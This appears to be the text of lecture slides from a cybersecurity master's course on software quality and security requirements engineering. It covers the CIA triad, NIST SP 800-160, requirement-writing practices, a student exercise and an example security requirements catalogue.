- A software system is robust if the consequences of an error in its operation, in the input, or in the hardware, in relation to a given application, are inversely proportional to the probability of the occurrence of this error in the given application.
 - Frequent errors (e.g. erroneous commands, typing errors) must be handled with particular care.
 - Less frequent errors (e.g. power failure) can be handled more laxly, but still must not lead to irreversible consequences.
- **Maintainability:** Maintainability = suitability for debugging (localization and correction of errors) and for modification and extension of functionality.
- The **maintainability** of a software system depends on its:
 - Readability
 - Extensibility
 - Testability

Extra SW Quality Assurance Properties

- **Readability:** Readability of a software system depends on its:
 - Form of representation
 - Programming style
 - Consistency
 - Readability of the implementation programming languages
 - Structuredness of the system
 - Quality of the documentation
 - Tools available for inspection
- **Extensibility:** Extensibility allows required modifications at the appropriate locations to be made without undesirable side effects. Extensibility of a software system depends on its:
 - Structuredness (modularity) of the software system
 - Possibilities that the implementation language provides for this purpose
 - Readability (to find the appropriate location) of the code
 - Availability of comprehensible program documentation

Extra SW Quality Assurance Properties

- **Testability:** suitability for allowing the programmer to follow program execution (runtime behavior under given conditions) and for debugging. The testability of a software system depends on its:
 - Modularity
 - Structuredness
- Modular, well-structured programs prove more suitable for systematic, stepwise testing than monolithic, unstructured programs.
- Testing tools and the possibility of formulating consistency conditions (assertions) in the source code reduce the testing effort and provide important prerequisites for the extensive, systematic testing of all system components.
- **Efficiency:** ability of a software system to fulfill its purpose with the best possible utilization of all necessary resources (time, storage, transmission channels, and peripherals).

Extra SW Quality Assurance Properties

- **Portability:** the ease with which a software system can be adapted to run on computers other than the one for which it was designed.
- The portability of a software system depends on:
 - Degree of hardware independence
 - Implementation language
 - Extent of exploitation of specialized system functions
 - Hardware properties
 - Structuredness: System-dependent elements are collected in easily interchangeable program components.
- A software system can be said to be portable if the effort required for porting it proves significantly less than the effort necessary for a new implementation.



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Security Requirements

Robust Software – Nuno Silva

Mestrado em Cibersegurança

Agenda

Motivation

Objectives

Security Requirements

Security Goals

Security Requirements Engineering

Security Policy

References

Exercise



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Motivation

- Security is a system property. Security is much more than a set of functions and mechanisms. IT security is a system characteristic as well as a set of mechanisms that span the system both logically and physically.
- To ensure that a software solution correctly solves a particular problem, we must initially *fully understand* the problem that needs to be solved, discover *why* the problem needs to be solved and determine *who* should be involved.
- Poorly defined requirements can cause major problems to a project and the organization.
- There are specific techniques for the requirements engineering phase which shall be considered.



Objectives

- Get to know what are security requirements and goals.
- Be able to identify and write down security requirements.
- Be able to verify/validate security requirements for completeness and appropriateness.
- Be aware of the importance of sound and complete security requirements.

Security Requirements

- Refer to the Software Security Lifecycle presentation for the main phases and relevant processes.
- This is largely achieved through a structured risk management process that involves:
 - Identifying information and related [assets](#), plus potential [threats](#), [vulnerabilities](#) and impacts;
 - Evaluating the risks;
 - Deciding how to address or treat the risks i.e. to avoid, mitigate, share or accept them;
 - Where risk mitigation is required, selecting or designing appropriate security controls and implementing them;
 - Monitoring the activities, making adjustments as necessary to address any issues, changes and improvement opportunities.



Security Requirements

Phase	Microsoft SDL	McGraw Touchpoints	SAFECode
Education and awareness	Provide training		Planning the implementation and deployment of secure development
Project inception	Define metrics and compliance reporting Define and use cryptography standards Use approved tools		Planning the implementation and deployment of secure development
Analysis and requirements	Define security requirements Perform threat modelling	Abuse cases Security requirements	Application security control definition
Architectural and detailed design	Establish design requirements	Architectural risk analysis	Design
Implementation and testing	Perform static analysis security testing (SAST) Perform dynamic analysis security testing (DAST) Perform penetration testing Define and use cryptography standards Manage the risk of using third-party components	Code review (tools) Penetration testing Risk-based security testing	Secure coding practices Manage security risk inherent in the use of third-party components Testing and validation
Release, deployment, and support	Establish a standard incident response process	Security operations	Vulnerability response and disclosure

Security Requirements



Source: ISO/IEC FCD 25010

Security Requirements

- Security Properties:

- Confidentiality
- Integrity
- Availability
- Non-repudiation
- Accountability
- Authenticity
- Compliance
- Privacy
- Possession
- Utility
- Trustworthiness
- Auditability

- CIA Triad

- Confidentiality
- Integrity
- Availability

- Parkerian Hexad:

- Confidentiality
- Possession/Control
- Integrity
- Authenticity
- Availability
- Utility

- https://en.wikipedia.org/wiki/Parkerian_Hexad



Security Goals::Threats

- Advanced persistent threat
- Backdoors
- Bootkits
- Computer crime
- Viruses
- Denial of service
- Eavesdropping
- Exploits
- Keyloggers
- Logic bombs
- Malware
- Payloads
- Phishing
- Ransomware
- Rootkits
- Screen scrapers
- Spyware
- Trojans
- Vulnerabilities
- Web shells
- Web application security
- Worms



Security Goals::Threats

- Responses to threats
- Possible responses to a security threat or risk can be:
 - Reduce/mitigate – implement safeguards and countermeasures to eliminate vulnerabilities or block threats;
 - Assign/transfer – place the cost of the threat onto another entity or organization such as purchasing insurance or outsourcing;
 - Accept – evaluate if the cost of the countermeasure outweighs the possible cost of loss due to the threat;

Security Goals::Threats

- A parallel to **Safety**: SRAC – **Safety** Related Application Condition
 - The concept of SRAC is defined on CENELEC EN50129 standard and it is the responsibility of RAMS/**Safety** Engineer to document and deliver to the user.
 - SRACs must be seen as a legal contract associated with the transfer of a device or an installation, with connotations related to **safety**.
 - Its importance requires **robustness** and its treatment must meet expectations regarding the implications that they entail.
 - SRACs clarify the **safety** responsibilities of the entities in charge of the installation, maintenance and operation, that is, of the entire service cycle of the equipment or installation.
- Now replace Safety by Security

Security Goals::Defenses

- Computer access control
- Application security
 - Antivirus software
 - Secure coding
 - Secure by default
 - Secure by design
 - Secure operating systems
- Authentication
 - Multi-factor authentication
- Authorization
- Data-centric security
- Encryption
- Firewall
- Intrusion detection system
- Mobile secure gateway
- Runtime application self-protection (RASP)

Security Goals::Confidentiality

- The security goal that generates the requirement for protection from intentional or accidental attempts to perform unauthorized data reads. Confidentiality covers data in storage, during processing, and while in transit. NIST SP 800-27 Rev A
- Preserving authorized restrictions on information access and disclosure, including means for protecting personal privacy and proprietary information. NIST SP 800-160

Security Goals::Integrity

- The security goal that generates the requirement for protection against either intentional or accidental attempts to violate data integrity (the property that data has not been altered in an unauthorized manner) or system integrity (the quality that a system has when it performs its intended function in an unimpaired manner, free from unauthorized manipulation). NIST SP 800-27 Rev A
- Guarding against improper information modification or destruction, and includes ensuring information non-repudiation and authenticity. NIST SP 800-160



Security Goals::Availability

- The security goal that generates the requirement for protection against intentional or accidental attempts to (1) perform unauthorized deletion of data or (2) otherwise cause a denial of service or data. NIST SP 800-27 Rev A
- Ensuring timely and reliable access to and use of information.
- Note: Mission/business resiliency objectives extend the concept of availability to refer to a point-in-time availability (i.e., the system, component, or device is usable when needed) and the continuity of availability (i.e., the system, component, or device remains usable for the duration of the time it is needed). NIST SP 800-160

What about other goals/properties?

- Identified from the Threat Modelling or the Risk Analysis
 - Non-repudiation
 - Compliance
 - Accountability
-
- All shall be captured during the Security Requirements Engineering phases.



Security Requirements Engineering

- Annex G of NIST SP 800-160

NIST Special Publication 800-160
VOLUME 1

Systems Security Engineering

*Considerations for a Multidisciplinary Approach in the
Engineering of Trustworthy Secure Systems*

RON ROSS
MICHAEL McEVILLEY
JANET CARRIER OREN

- <https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-160v1.pdf>

Security Requirements Engineering


- **Stakeholder perspective:** Mission/business needs; operational performance objectives and measures; life cycle concepts; laws; regulatory, statutory, and certification criteria; governing policies; loss and risk tolerance; accreditation, approval, and other independent authorization criteria; and all associated concerns and constraints.
- **System perspective:** System self-protection capability; system architecture, system design, and system implementation decisions; developmental, fabrication, manufacturing, and production standards; secure system management; technical performance objectives and measures; and all associated concerns and constraints.
- **Trades perspective:** Requirements trades; engineering trades; risk treatment trades; and other life cycle trades.



Security Requirements Engineering

- Transformation of Protection Needs into Security Requirements and Policy
 - Security requirements specify security capability, performance, effectiveness, and the associated verification and validation measures, as well as constraints on system requirements.
 - Security policy consists of a well-defined set of rules that govern all aspects of the security-relevant behavior of system elements.

Security Requirements Engineering



Security Requirements Engineering

- A requirement is a condition or capability that must be met or possessed by a system or system element to satisfy a contract, standard, specification, or other formally imposed document [IEEE 610.12]
- **Functional requirements** specify capability and behavior while **nonfunctional requirements** specify quality attributes of the capability and behavior.





Security Requirements Engineering


- Stakeholder Requirements and Security Requirements
 - operational, protection, safety, and other needs (e.g. usability, human factors, form factor, and operational performance) and expectations of stakeholders, including legal, policy, regulatory, statutory, certification, policy, and other constraints for solutions that support the mission or business.
 - Provide the protection needed for the mission or business, the data, information, processes, functions, human, and system assets; the roles, responsibilities, and security-relevant actions of individuals that perform and support the mission or business processes; the interactions between the security-relevant solution elements; and the assurance that is to be obtained in the security solution.



Security Requirements Engineering

- System Requirements and System Security Requirements
 - (security) define the protection capabilities provided by the security solution; the performance and behavioral characteristics exhibited by the security solution; assurance processes, procedures, and techniques; and the evidence required to determine that the system security requirements have been satisfied.
 - specify the capability and quality attributes of the delivered system.

Security Requirements Engineering






Security Requirements Engineering

- Types of Security Requirements
 - **Security functional requirements** – the capability for the system to protect itself.
 - **Security nonfunctional requirements** – security behavior, performance, strength-of-function, and quality characteristics and attributes.
 - **Security assurance requirements** – techniques and methods to verify that the functional and nonfunctional requirements are met.


Security Requirements Engineering

- Security Requirements in the Life Cycle Processes
 - See also Security Lifecycle presentation



Security Requirements Engineering

- Factors considered in security requirements analysis conducted as part of requirements engineering



Security Policy

- CIA Objectives

Confidentiality concerns are fully within the scope of security disciplines and therefore, security policy.




- See NIST SP 800-160, Annex G.3

Integrity and availability concerns span security and non-security disciplines such as performance, fault tolerance, reliability, safety, and functional correctness. Security policy identifies the security-relevant aspects of integrity and availability.

Security Requirements and Policy Summary

- **Security requirements** determine the capability for security mechanisms to behave in some manner;
- **Security policy** determines the behavior that is deemed “secure” behavior; and
- For a **mechanism** to be deemed **secure**, the requirements for the capability of the mechanism must be **consistent** with the **security policy enforcement rules**; the mechanism must satisfy the security requirements; and the mechanism must be configured to behave in a manner defined by the **organizational security policy**.

Security Requirements and Policy Summary



References

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<https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-27ra.pdf>
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<https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-160v1.pdf>


Exercise #2

- Create a Security Requirements Catalogue
- Let's write >15 requirements: At least 3 requirements related to Confidentiality, 3 to Integrity and 3 to Availability
- At least one requirement applicable to the user and one applicable to the development process/organization
- All you need to consider is: requirements applicable to your project!
- Size: 1 to 3 pages.

Optional Support Slides

Requirements engineering is the process of establishing

- the services that the customer requires from a system
- the constraints under which it operates and is developed



Examples (requirements iteration)

- The system will support a wide range of the most commonly used graphics file formats
- The system may support the following file formats: png, jpeg, tiff and giff
- The system will support the following file formats: png, jpeg, tiff and giff
- The system may support the following file formats: png, jpeg, tiff and giff, to a maximum resolution of 1024x1024 pixels
- The system **shall** support the following file formats: png, jpeg, tiff and giff, to a maximum resolution of 1024x1024 pixels




Examples (requirements iteration)

1. graphics file formats
2. tiff and giff
3. The system will support
4. The system may
5. The system shall



Examples (requirements iteration)



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Examples of Functional Requirements

- A. All users will access the system using a user id and a password
- B. The system shall support the following document formats: PDF, RTF, Microsoft Word 2010 and ASCII text
- C. Every transaction shall be allocated a unique identifier
- D. The system shall have a mechanism to help recover a user's password

Which are security related? (A, C, D)

Requirements Precision

- Problems arise when requirements are not precisely stated (see 2 previous slides)
- Ambiguous requirements are interpreted in different ways by developers and users
- For example, '**recover password**' from the previous slide:
 - **User intention** – mechanism which allows the user to view the password after going through an authentication procedure
 - **Developer interpretation** – allowing the user to reset their password so that it can be set again (e.g. using email link)
- Thus, requirements shall be defined as precisely and clearly as possible



Requirements Completeness and Consistency

- Ideally, requirements should be both complete and consistent:

Complete

- They should include descriptions of all facilities required

Consistent

- There should be no conflicts or contradictions in the descriptions of the system facilities
- In reality, it is **very difficult/impossible** to produce a **complete** and **consistent** requirements document

Examples of Non-Functional Requirements

- **Product requirement**
 - All encryption shall use the Advanced Encryption Standard version x.
- **Organisational requirement**
 - The system development process and deliverable documents shall conform to the process and deliverables defined in coding and documentation standard XYZ.
- **External requirement**
 - The system shall not disclose any personal information about customers apart from their name and reference number to the operators of the system.
- **Performance requirement**
 - The system shall respond to a user's request for information in less than 1 second during "peak-time" and 0.1 seconds during "normal time".

Goals and Requirements

- **Non-functional requirements** may be very difficult to state precisely and imprecise requirements may be difficult to verify.
- **Verifiable non-functional requirement**
 - A statement using some measure that can be objectively tested
- **Goal**
 - A general intention of the user such as ease of use
- Goals are helpful to developers as they convey the *intentions* of the system users

Examples - Goals

- **An example of a bad system goal**
 - The system **should** be **easy to use** by **experienced controllers** and **should** be organised in **such a way** that **user errors** are **minimised**.
- **An example of verifiable non-functional requirement**
 - Controllers shall be able to use all the system functions after a total of two hours training. After this training, the average number of errors made by trained users shall not exceed two per day.

Requirements Measures

Property	Measure
Speed	Processed transactions/second User/Event response time Screen refresh time
Size	K Bytes Number of RAM chips
Ease of use	Training time Number of help frames
Reliability	Mean time to failure Probability of unavailability Rate of failure occurrence Availability
Robustness	Time to restart after failure Percentage of events causing failure Probability of data corruption on failure
Portability	Percentage of target dependent statements Number of target systems



Requirements Interaction

- **Conflicts between different non-functional requirements are common in complex systems**
- Username/Password mechanism should be easy for user to remember
- All passwords must be hard to guess and ideally require upper/lower case letters and special symbols to ensure high security

Which is the *most critical* requirement?

Natural Language Requirements

- **Lack of clarity**
 - Precision is difficult without making the document difficult to read
- **Requirements confusion**
 - Functional and non-functional requirements tend to be mixed-up in the same document
- **Requirements amalgamation**
 - Several different requirements may be expressed together
 - Requirements tend to be extensive and comprise multiple objectives
 - Leads to problems with testing/debugging

Requirements Best Practices

- Use standard format for all requirements (requirements template, requirements guidelines)
- Use language in a consistent way. For example, use **shall** for mandatory requirements (that must be supported), **should** for desirable requirements (that are not essential).
- Use **text highlighting** to identify key parts of the requirement
- Avoid the use of computer jargon
- Make documents **self contained** (e.g. include glossaries and complete examples)

Requirements Best Practices




S – SPECIFIC



M –
MEASURABLE



A – ACHIEVABLE
/ ATTAINABLE



R – RELEVANT



T – TIME-
BOUND



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Requirements Best Practices

Avoid:

- Always
- Some
- Appropriate
- Handle
- Etc.
- It
- Should
- Support
- But not limited to
- And/or
- Easy



Requirements Best Practices

Avoid:

- Making bad assumptions
- Writing implementation (HOW) instead of requirements (WHAT)
- Describing operations instead of writing requirements
- Using incorrect terms
- Using incorrect sentence structure or bad grammar
- Missing requirements
- Over-specifying



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Requirements Best Practices

Instead, use:

- The System shall provide ...
- The System shall be capable of ...
- The System shall weigh ...
- The Subsystem #1 shall provide ...
- The Subsystem #2 shall interface with ...
- The Administrator shall ...
- The User shall be able to ...

Security Example

- **Security Quality Sub factors and Associated Measures**

Security Quality Sub factor	Associated Security Measures
Confidentiality	Access control; Physical protection; Security policy
Integrity	Access control; No repudiation; Physical protection; Attack detection
Availability	System recovery; Physical protection; Attack detection
Accountability	Non-repudiation; Attack detection

- Source: <https://www.pmi.org/learning/library/importance-of-security-requirements-elicitation-9634>

Security Example

- **Security Measures and Associated Mechanisms**

Security Measure	Associated Security Mechanisms
Access Control	Biometrics; Certificates; Multilevel security; Passwords and keys; Reference monitor; Registration; Time limits; User permissions; VPN
Security Policy	Administrative privileges; Malware detection; Multilevel security; Reference monitor; Secure channels; Security session; Single access point; Time limits; User permissions; VPN
Non-repudiation	Administrative privileges; Logging and auditing; Reference monitor
Physical Protection	Access cards; Alarms; Equipment tagging; Locks; Offsite storage; Secured rooms; Security personnel
System Recovery	Backup and restoration; Configuration management; Connection service agreement; Disaster recovery; Off-site storage; Redundancy
Attack detection	Administrative privileges; Alarms; Incident response; Intrusion detection systems; Logging and auditing; Malware detection; Reference monitor
Boundary Protection	DMZ (Demilitarized Zone); Firewalls; Proxies; Single access point; VPN

Security Example

- **Example of a Security Requirements Catalogue**

Type	Requirement Description	Comments
Authentication	The system shall have authentication measures at all the entry points, front panel, or inbound network connection.	To avoid unauthorized access
	The system shall support Windows domain authentication, and when authenticate to AD (Active Directory), shall support NTLMv2, as well as Kerberos protocol, and shall avoid transmitting username/password on the wire when authentication to the AD.	Currently many systems use Single Sign-On (SSO) using Kerberos and Windows domain.
	The system shall support Smartcard, USB token (two factors) authentication.	Improving the security using smartcard technologies and facilitating the physical access in case of using SSO.
	The system shall support Proximity card, magnetic card authentication.	To adequate some technologies as NFC (Near Field Communication), for example,
	The system shall support authentication based on device local authority.	In case of physical access.
	The system shall support cloud-based authentication.	Allow cross domain Single Sign On
	The system shall support authentication to the external 3 rd party authentication server, and protect the user credential during authenticating to the external server.	Security network aspects must receive special attention.
	The system shall support multiple authentication approaches at the same time.	It is necessary a strong monitoring and auditing

Security Example

- **Example of a Security Requirements Catalogue**

Availability	The backup system shall store the recover data in a network system.	To help in case of failure or intruder action.
	The system shall do mirroring to allow data to be available in physically separated locals (separate site when the application is on the Web).	Help minimize the risk of one single point of failure.
	The system shall apply load balancing.	Help minimizing the impact of potential system failures.
Integrity	The system shall ensure all data provided by application has consistency (either create a new and valid state of data, or, return all data to its state before a transaction was started).	To avoid an unauthorized person or system alter data inadvertently or intentionally.
Auditing	The system shall keep historical records (logging) of events and processes executed in or by an application.	Define more specific security loggings to allow recreating a clear picture of security events.
Non-Repudiation	The system shall implement cryptographic methods such as generating digital signatures or digital fingerprinting.	Help the application and system avoiding repudiation.